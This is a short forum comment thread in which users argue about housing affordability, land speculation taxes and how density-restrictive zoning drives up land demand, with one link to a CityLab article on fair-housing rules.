So, why not cap the profits that can be gained from squatting on land? Or increase taxes on under-utilized land? Then, wouldn't land owners have incentive to build more housing?

<comment><USER31> Density-restrictive zoning increases our demand for land.

I, for example, only need about 1000sf of living space. In city where the minimum lot size is 3000sf and maximum FAR is 30%, my demand for land is 3000sf. However, in a city where 12 story buildings are abundant, my demand for land is only about 100sf, including proportionally allocated common area space.

By not allowing dense housing, city zoning codes are making affordability illegal by statute.

</comment></comment><comment><USER32> It seems like the underlying mechanism is [https://www.citylab.com/equity/2018/08/ben-carsons-new- argum...](https://www.citylab.com/equity/2018/08/ben-carsons-new-argument- against-fair-housing-rules-its-about-nimbys/567449/) , which is a rather different spin.

</comment><comment><USER33> I looked for an explanation of "exclusionary zoning" in the article, but I guess it just means "zoning."

It's always great when an administration can repurpose unimplemented legislation designed to reduce segregation, and use it to enrich property speculators.</comment>